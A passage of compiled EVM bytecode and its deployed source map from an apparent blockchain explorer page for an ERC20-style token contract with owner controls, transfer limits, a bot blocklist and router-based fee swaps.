be4006119a5565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108549190611a2a565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611a2a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190611a2a565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610993816001600160a01b031660009081526001602052604090205490565b6000806109a86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a359190611a47565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab29190611a75565b50600f805462ff00ff60a01b19166201000160a01b17905543600655565b6000546001600160a01b03163314610afa5760405162461bcd60e51b815260040161052d906119c4565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161052d906119c4565b60005b815181101561059e57600160046000848481518110610b6a57610b6a6119f9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ba681611a0f565b915050610b49565b6001600160a01b038316610c105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b60008111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b600080546001600160a01b03858116911614801590610e2757506000546001600160a01b03848116911614155b15611182576001600160a01b03841660009081526004602052604090205460ff16158015610e6e57506001600160a01b03831660009081526004602052604090205460ff16155b610e7757600080fd5b610e976064610e91600754856112ff90919063ffffffff16565b90611385565b600f549091506001600160a01b038581169116148015610ec55750600e546001600160a01b03848116911614155b8015610eea57506001600160a01b03831660009081526003602052604090205460ff16155b15610ff457600a54821115610f415760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052d565b600b5482610f64856001600160a01b031660009081526001602052604090205490565b610f6e9190611a97565b1115610fbc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b436006546003610fcc9190611a97565b1115610fde57823b15610fde57600080fd5b60098054906000610fee83611a0f565b91905055505b600f546001600160a01b0384811691161480159061102b57506001600160a01b03831660009081526003602052604090205460ff16155b156110ab57600b5482611053856001600160a01b031660009081526001602052604090205490565b61105d9190611a97565b11156110ab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b600f546001600160a01b0384811691161480156110d157506001600160a01b0384163014155b156110f3576110f06064610e91600854856112ff90919063ffffffff16565b90505b30600090815260016020526040902054600f54600160a81b900460ff1615801561112a5750600f546001600160a01b038581169116145b801561113f5750600f54600160b01b900460ff165b801561114c5750600c5481115b156111805761116e6111698461116484600d546113c7565b6113c7565b6113dc565b47801561117e5761117e47611556565b505b505b80156111fc57306000908152600160205260409020546111a29082611590565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111f39085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461121f90836115ef565b6001600160a01b03851660009081526001602052604090205561126461124583836115ef565b6001600160a01b03851660009081526001602052604090205490611590565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ae85856115ef565b60405190815260200160405180910390a350505050565b600081848411156112e95760405162461bcd60e51b815260040161052d919061165f565b5060006112f68486611aaf565b95945050505050565b60008261130e57506000610472565b600061131a83856119a5565b9050826113278583611ac6565b1461137e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b9392505050565b600061137e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611631565b60008183116113d6578261137e565b50919050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611424576114246119f9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a19190611a2a565b816001815181106114b4576114b46119f9565b6001600160a01b039283166020918202929092010152600e546114da9130911684610bae565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611513908590600090869030904290600401611ae8565b600060405180830381600087803b15801561152d57600080fd5b505af1158015611541573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561059e573d6000803e3d6000fd5b60008061159d8385611a97565b90508381101561137e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b600061137e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c5565b600081836116525760405162461bcd60e51b815260040161052d919061165f565b5060006112f68486611ac6565b600060208083528351808285015260005b8181101561168c57858101830151858201604001528201611670565b8181111561169e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116c957600080fd5b50565b80356116d7816116b4565b919050565b600080604083850312156116ef57600080fd5b82356116fa816116b4565b946020939093013593505050565b60008060006060848603121561171d57600080fd5b8335611728816116b4565b92506020840135611738816116b4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177257600080fd5b823567ffffffffffffffff8082111561178a57600080fd5b818501915085601f83011261179e57600080fd5b8135818111156117b0576117b0611749565b8060051b604051601f19603f830116810181811085821117156117d5576117d5611749565b6040529182528482019250838101850191888311156117f357600080fd5b938501935b8285101561181857611809856116cc565b845293850193928501926117f8565b98975050505050505050565b60006020828403121561183657600080fd5b813561137e816116b4565b6000806040838503121561185457600080fd5b50508035926020909101359150565b6000806040838503121561187657600080fd5b8235611881816116b4565b91506020830135611891816116b4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118ed5781600019048211156118d3576118d361189c565b808516156118e057918102915b93841c93908002906118b7565b509250929050565b60008261190457506001610472565b8161191157506000610472565b816001811461192757600281146119315761194d565b6001915050610472565b60ff8411156119425761194261189c565b50506001821b610472565b5060208310610133831016604e8410600b8410161715611970575081810a610472565b61197a83836118b2565b806000190482111561198e5761198e61189c565b029392505050565b600061137e60ff8416836118f5565b60008160001904831182151516156119bf576119bf61189c565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a2357611a2361189c565b5060010190565b600060208284031215611a3c57600080fd5b815161137e816116b4565b600080600060608486031215611a5c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a8757600080fd5b8151801515811461137e57600080fd5b60008219821115611aaa57611aaa61189c565b500190565b600082821015611ac157611ac161189c565b500390565b600082611ae357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b385784516001600160a01b031683529383019391830191600101611b13565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5941ed301af5ff4aac78ec20863d0593f23c41de1e427206009d538d8476ad464736f6c634300080a0033
Deployed Bytecode Sourcemap
3474:8007:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5161:83;;;;;;;;;;-1:-1:-1;5231:5:0;;;;;;;;;;;;-1:-1:-1;;;5231:5:0;;;;5161:83;;;;;;;:::i;:::-;;;;;;;;5994:161;;;;;;;;;;-1:-1:-1;5994:161:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;5994:161:0;1211:187:1;4405:51:0;;;;;;;;;;;;;;;;;;;1549:25:1;;;1537:2;1522:18;4405:51:0;1403:177:1;5438:95:0;;;;;;;;;;;;;:::i;6163:313::-;;;;;;;;;;-1:-1:-1;6163:313:0;;;;;:::i;:::-;;:::i;5347:83::-;;;;;;;;;;-1:-1:-1;5347:83:0;;4017:1;2188:36:1;;2176:2;2161:18;5347:83:0;2046:184:1;10188:162:0;;;;;;;;;;-1:-1:-1;10188:162:0;;;;;:::i;:::-;;:::i;:::-;;10358:83;;;;;;;;;;-1:-1:-1;10358:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10426:7:0;10405:4;10426:7;;;:4;:7;;;;;;;;;10358:83;5541:119;;;;;;;;;;-1:-1:-1;5541:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5634:18:0;5607:7;5634:18;;;:9;:18;;;;;;;5541:119;2555:148;;;;;;;;;;;;;:::i;9749:159::-;;;;;;;;;;;;;:::i;4213:56::-;;;;;;;;;;;;;;;;2341:79;;;;;;;;;;-1:-1:-1;2379:7:0;2406:6;2341:79;;-1:-1:-1;;;;;2406:6:0;;;3891:51:1;;3879:2;3864:18;2341:79:0;3745:203:1;4276:58:0;;;;;;;;;;;;;;;;11164:155;;;;;;;;;;-1:-1:-1;11164:155:0;;;;;:::i;:::-;;:::i;5252:87::-;;;;;;;;;;-1:-1:-1;5324:7:0;;;;;;;;;;;;-1:-1:-1;;;5324:7:0;;;;5252:87;;5668:167;;;;;;;;;;-1:-1:-1;5668:167:0;;;;;:::i;:::-;;:::i;4341:57::-;;;;;;;;;;;;;;;;10449:707;;;;;;;;;;;;;:::i;11327:112::-;;;;;;;;;;-1:-1:-1;11327:112:0;;;;;:::i;:::-;;:::i;10016:164::-;;;;;;;;;;-1:-1:-1;10016:164:0;;;;;:::i;:::-;;:::i;5843:143::-;;;;;;;;;;-1:-1:-1;5843:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5951:18:0;;;5924:7;5951:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5843:143;5994:161;6069:4;6086:39;175:10;6109:7;6118:6;6086:8;:39::i;:::-;-1:-1:-1;6143:4:0;5994:161;;;;;:::o;5438:95::-;5491:7;4074:13;4017:1;4074:2;:13;:::i;:::-;4060:27;;:11;:27;:::i;:::-;5511:14;;5438:95;:::o;6163:313::-;6261:4;6278:36;6288:6;6296:9;6307:6;6278:9;:36::i;:::-;6325:121;6334:6;175:10;6356:89;6394:6;6356:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6356:19:0;;;;;;:11;:19;;;;;;;;175:10;6356:33;;;;;;;;;;:37;:89::i;:::-;6325:8;:121::i;:::-;-1:-1:-1;6464:4:0;6163:313;;;;;:::o;10188:162::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;;;;;;;;;10261:6:::1;10256:87;10277:6;:13;10273:1;:17;10256:87;;;10328:5;10310:4;:15;10315:6;10322:1;10315:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10310:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10310:15:0;:23;;-1:-1:-1;;10310:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10292:3;::::1;::::0;::::1;:::i;:::-;;;;10256:87;;;;10188:162:::0;:::o;2555:148::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;2662:1:::1;2646:6:::0;;2625:40:::1;::::0;-1:-1:-1;;;;;2646:6:0;;::::1;::::0;2625:40:::1;::::0;2662:1;;2625:40:::1;2693:1;2676:19:::0;;-1:-1:-1;;;;;;2676:19:0::1;::::0;;2555:148::o;9749:159::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;4074:13:::1;4017:1;4074:2;:13;:::i;:::-;4060:27;::::0;:11:::1;:27;:::i;:::-;9802:12;:22:::0;;;4074:13:::1;::::0;4017:1:::1;::::0;4074:13:::1;:::i;:::-;4060:27;::::0;:11:::1;:27;:::i;:::-;9835:14;:22:::0;9873:27:::1;4074:13;4017:1;4074:2;:13;:::i;:::-;4060:27;::::0;:11:::1;:27;:::i;:::-;9873;::::0;1549:25:1;;;1537:2;1522:18;9873:27:0::1;;;;;;;9749:159::o:0;11164:155::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;11248:14:::1;:25:::0;;;;11284:15:::1;:27:::0;11164:155::o;5668:167::-;5746:4;5763:42;175:10;5787:9;5798:6;5763:9;:42::i;10449:707::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;10513:11:::1;::::0;-1:-1:-1;;;10513:11:0;::::1;;;10512:12;10504:47;;;::::0;-1:-1:-1;;;10504:47:0;;7122:2:1;10504:47:0::1;::::0;::::1;7104:21:1::0;7161:2;7141:18;;;7134:30;7200:25;7180:18;;;7173:53;7243:18;;10504:47:0::1;6920:347:1::0;10504:47:0::1;10562:15;:80:::0;;-1:-1:-1;;;;;;10562:80:0::1;10599:42;10562:80:::0;;::::1;::::0;;;10653:58:::1;::::0;10670:4:::1;::::0;4074:13:::1;4017:1;4074:2;:13;:::i;:::-;4060:27;::::0;:11:::1;:27;:::i;10653:58::-;10756:15;;;;;;;;;-1:-1:-1::0;;;;;10756:15:0::1;-1:-1:-1::0;;;;;10756:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10738:55:0::1;;10802:4;10809:15;;;;;;;;;-1:-1:-1::0;;;;;10809:15:0::1;-1:-1:-1::0;;;;;10809:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10738:94;::::0;-1:-1:-1;;;;;;10738:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7758:15:1;;;10738:94:0::1;::::0;::::1;7740:34:1::0;7810:15;;7790:18;;;7783:43;7675:18;;10738:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10722:13;:110:::0;;-1:-1:-1;;;;;10722:110:0;;::::1;-1:-1:-1::0;;;;;;10722:110:0;;::::1;;::::0;;10843:15:::1;::::0;::::1;:31;10882:21;10913:4;10919:24;10913:4:::0;-1:-1:-1;;;;;5634:18:0;5607:7;5634:18;;;:9;:18;;;;;;;5541:119;10919:24:::1;10944:1;10946::::0;10948:7:::1;2379::::0;2406:6;-1:-1:-1;;;;;2406:6:0;;2341:79;10948:7:::1;10843:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10843:129:0;;;-1:-1:-1;;;;;8196:15:1;;;10843:129:0::1;::::0;::::1;8178:34:1::0;8228:18;;;8221:34;;;;8271:18;;;8264:34;;;;8314:18;;;8307:34;8378:15;;;8357:19;;;8350:44;10956:15:0::1;8410:19:1::0;;;8403:35;8112:19;;10843:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10990:13:0::1;::::0;11021:15:::1;::::0;10983:71:::1;::::0;-1:-1:-1;;;10983:71:0;;-1:-1:-1;;;;;11021:15:0;;::::1;10983:71;::::0;::::1;8934:51:1::0;-1:-1:-1;;9001:18:1;;;8994:34;10990:13:0;::::1;::::0;-1:-1:-1;10983:29:0::1;::::0;8907:18:1;;10983:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11065:11:0::1;:18:::0;;-1:-1:-1;;;;11094:18:0;-1:-1:-1;;;11094:18:0;;;11136:12:::1;11123:10;:25:::0;10449:707::o;11327:112::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;11400:10:::1;:31:::0;;-1:-1:-1;;;;;;11400:31:0::1;-1:-1:-1::0;;;;;11400:31:0;;;::::1;::::0;;;::::1;::::0;;11327:112::o;10016:164::-;2468:6;;-1:-1:-1;;;;;2468:6:0;175:10;2468:22;2460:67;;;;-1:-1:-1;;;2460:67:0;;;;;;;:::i;:::-;10090:6:::1;10085:88;10106:5;:12;10102:1;:16;10085:88;;;10157:4;10140;:14;10145:5;10151:1;10145:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10140:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10140:14:0;:21;;-1:-1:-1;;10140:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10120:3;::::1;::::0;::::1;:::i;:::-;;;;10085:88;;6484:335:::0;-1:-1:-1;;;;;6577:19:0;;6569:68;;;;-1:-1:-1;;;6569:68:0;;9523:2:1;6569:68:0;;;9505:21:1;9562:2;9542:18;;;9535:30;9601:34;9581:18;;;9574:62;-1:-1:-1;;;9652:18:1;;;9645:34;9696:19;;6569:68:0;9321:400:1;6569:68:0;-1:-1:-1;;;;;6656:21:0;;6648:68;;;;-1:-1:-1;;;6648:68:0;;9928:2:1;6648:68:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;-1:-1:-1;;;10057:18:1;;;10050:32;10099:19;;6648:68:0;9726:398:1;6648:68:0;-1:-1:-1;;;;;6727:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6779:32;;1549:25:1;;;6779:32:0;;1522:18:1;6779:32:0;;;;;;;6484:335;;;:::o;6827:2112::-;-1:-1:-1;;;;;6915:18:0;;6907:68;;;;-1:-1:-1;;;6907:68:0;;10331:2:1;6907:68:0;;;10313:21:1;10370:2;10350:18;;;10343:30;10409:34;10389:18;;;10382:62;-1:-1:-1;;;10460:18:1;;;10453:35;10505:19;;6907:68:0;10129:401:1;6907:68:0;-1:-1:-1;;;;;6994:16:0;;6986:64;;;;-1:-1:-1;;;6986:64:0;;10737:2:1;6986:64:0;;;10719:21:1;10776:2;10756:18;;;10749:30;10815:34;10795:18;;;10788:62;-1:-1:-1;;;10866:18:1;;;10859:33;10909:19;;6986:64:0;10535:399:1;6986:64:0;7078:1;7069:6;:10;7061:64;;;;-1:-1:-1;;;7061:64:0;;11141:2:1;7061:64:0;;;11123:21:1;11180:2;11160:18;;;11153:30;11219:34;11199:18;;;11192:62;-1:-1:-1;;;11270:18:1;;;11263:39;11319:19;;7061:64:0;10939:405:1;7061:64:0;7136:17;2406:6;;-1:-1:-1;;;;;7170:15:0;;;2406:6;;7170:15;;;;:32;;-1:-1:-1;2379:7:0;2406:6;-1:-1:-1;;;;;7189:13:0;;;2406:6;;7189:13;;7170:32;7166:1417;;;-1:-1:-1;;;;;7228:10:0;;;;;;:4;:10;;;;;;;;7227:11;:24;;;;-1:-1:-1;;;;;;7243:8:0;;;;;;:4;:8;;;;;;;;7242:9;7227:24;7219:33;;;;;;7279:35;7310:3;7279:26;7290:14;;7279:6;:10;;:26;;;;:::i;:::-;:30;;:35::i;:::-;7343:13;;7267:47;;-1:-1:-1;;;;;;7335:21:0;;;7343:13;;7335:21;:55;;;;-1:-1:-1;7374:15:0;;-1:-1:-1;;;;;7360:30:0;;;7374:15;;7360:30;;7335:55;:83;;;;-1:-1:-1;;;;;;7396:22:0;;;;;;:18;:22;;;;;;;;7394:24;7335:83;7331:436;;;7458:12;;7448:6;:22;;7440:60;;;;-1:-1:-1;;;7440:60:0;;11551:2:1;7440:60:0;;;11533:21:1;11590:2;11570:18;;;11563:30;11629:27;11609:18;;;11602:55;11674:18;;7440:60:0;11349:349:1;7440:60:0;7553:14;;7543:6;7527:13;7537:2;-1:-1:-1;;;;;5634:18:0;5607:7;5634:18;;;:9;:18;;;;;;;5541:119;7527:13;:22;;;;:::i;:::-;:40;;7519:79;;;;-1:-1:-1;;;7519:79:0;;12038:2:1;7519:79:0;;;12020:21:1;12077:2;12057:18;;;12050:30;12116:28;12096:18;;;12089:56;12162:18;;7519:79:0;11836:350:1;7519:79:0;7641:12;7623:10;;7636:1;7623:14;;;;:::i;:::-;:30;7619:103;;;9186:20;;9234:8;7678:24;;;;;;7740:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7331:436;7793:13;;-1:-1:-1;;;;;7787:19:0;;;7793:13;;7787:19;;;;:47;;-1:-1:-1;;;;;;7812:22:0;;;;;;:18;:22;;;;;;;;7810:24;7787:47;7783:167;;;7889:14;;7879:6;7863:13;7873:2;-1:-1:-1;;;;;5634:18:0;5607:7;5634:18;;;:9;:18;;;;;;;5541:119;7863:13;:22;;;;:::i;:::-;:40;;7855:79;;;;-1:-1:-1;;;7855:79:0;;12038:2:1;7855:79:0;;;12020:21:1;12077:2;12057:18;;;12050:30;12116:28;12096:18;;;12089:56;12162:18;;7855:79:0;11836:350:1;7855:79:0;7975:13;;-1:-1:-1;;;;;7969:19:0;;;7975:13;;7969:19;:43;;;;-1:-1:-1;;;;;;7992:20:0;;8007:4;7992:20;;7969:43;7966:131;;;8045:36;8077:3;8045:27;8056:15;;8045:6;:10;;:27;;;;:::i;:36::-;8033:48;;7966:131;8162:4;8113:28;5634:18;;;:9;:18;;;;;;8188:6;;-1:-1:-1;;;8188:6:0;;;;8187:7;:32;;;;-1:-1:-1;8206:13:0;;-1:-1:-1;;;;;8198:21:0;;;8206:13;;8198:21;8187:32;:47;;;;-1:-1:-1;8223:11:0;;-1:-1:-1;;;8223:11:0;;;;8187:47;:89;;;;;8259:17;;8238:20;:38;8187:89;8183:389;;;8297:67;8314:49;8318:6;8325:37;8329:20;8350:11;;8325:3;:37::i;:::-;8314:3;:49::i;:::-;8297:16;:67::i;:::-;8412:21;8455:22;;8452:105;;8502:35;8515:21;8502:12;:35::i;:::-;8278:294;8183:389;7204:1379;7166:1417;8598:11;;8595:161;;8666:4;8648:24;;;;:9;:24;;;;;;:39;;8677:9;8648:28;:39::i;:::-;8641:4;8623:24;;;;:9;:24;;;;;;;:64;;;;8705:39;;-1:-1:-1;;;;;8705:39:0;;;;;;;8734:9;1549:25:1;;1537:2;1522:18;;1403:177;8705:39:0;;;;;;;;8595:161;-1:-1:-1;;;;;8782:15:0;;;;;;:9;:15;;;;;;:27;;8802:6;8782:19;:27::i;:::-;-1:-1:-1;;;;;8766:15:0;;;;;;:9;:15;;;;;:43;8834:40;8852:21;:6;8863:9;8852:10;:21::i;:::-;-1:-1:-1;;;;;8834:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8820:13:0;;;;;;;:9;:13;;;;;:54;;;;8890:41;;;8909:21;:6;8920:9;8909:10;:21::i;:::-;8890:41;;1549:25:1;;;1537:2;1522:18;8890:41:0;;;;;;;6896:2043;6827:2112;;;:::o;1233:190::-;1319:7;1355:12;1347:6;;;;1339:29;;;;-1:-1:-1;;;1339:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1379:9:0;1391:5;1395:1;1391;:5;:::i;:::-;1379:17;1233:190;-1:-1:-1;;;;;1233:190:0:o;1431:246::-;1489:7;1513:6;1509:47;;-1:-1:-1;1543:1:0;1536:8;;1509:47;1566:9;1578:5;1582:1;1578;:5;:::i;:::-;1566:17;-1:-1:-1;1611:1:0;1602:5;1606:1;1566:17;1602:5;:::i;:::-;:10;1594:56;;;;-1:-1:-1;;;1594:56:0;;12745:2:1;1594:56:0;;;12727:21:1;12784:2;12764:18;;;12757:30;12823:34;12803:18;;;12796:62;-1:-1:-1;;;12874:18:1;;;12867:31;12915:19;;1594:56:0;12543:397:1;1594:56:0;1668:1;1431:246;-1:-1:-1;;;1431:246:0:o;1685:132::-;1743:7;1770:39;1774:1;1777;1770:39;;;;;;;;;;;;;;;;;:3;:39::i;8949:98::-;9006:7;9033:1;9031;:3;9030:9;;9038:1;9030:9;;;-1:-1:-1;9036:1:0;8949:98;-1:-1:-1;8949:98:0:o;9258:483::-;4738:6;:13;;-1:-1:-1;;;;4738:13:0;-1:-1:-1;;;4738:13:0;;;9360:16:::1;::::0;;9374:1:::1;9360:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9360:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9360:16:0::1;9336:40;;9405:4;9387;9392:1;9387:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9387:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9431:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9431:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9387:7;;9431:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9421:4;9426:1;9421:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9421:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9496:15:::1;::::0;9464:62:::1;::::0;9481:4:::1;::::0;9496:15:::1;9514:11:::0;9464:8:::1;:62::i;:::-;9537:15;::::0;:196:::1;::::0;-1:-1:-1;;;9537:196:0;;-1:-1:-1;;;;;9537:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9618:11;;9537:15:::1;::::0;9660:4;;9687::::1;::::0;9707:15:::1;::::0;9537:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4774:6:0;:14;;-1:-1:-1;;;;4774:14:0;;;-1:-1:-1;;;;9258:483:0:o;9916:92::-;9973:10;;:27;;-1:-1:-1;;;;;9973:10:0;;;;:27;;;;;9993:6;;9973:10;:27;:10;:27;9993:6;9973:10;:27;;;;;;;;;;;;;;;;;;;902:179;960:7;;992:5;996:1;992;:5;:::i;:::-;980:17;;1021:1;1016;:6;;1008:46;;;;-1:-1:-1;;;1008:46:0;;14132:2:1;1008:46:0;;;14114:21:1;14171:2;14151:18;;;14144:30;14210:29;14190:18;;;14183:57;14257:18;;1008:46:0;13930:351:1;1089:136:0;1147:7;1174:43;1178:1;1181;1174:43;;;;;;;;;;;;;;;;;:3;:43::i;1825:189::-;1911:7;1946:12;1939:5;1931:28;;;;-1:-1:-1;;;1931:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1970:9:0;1982:5;1986:1;1982;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:134::-;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;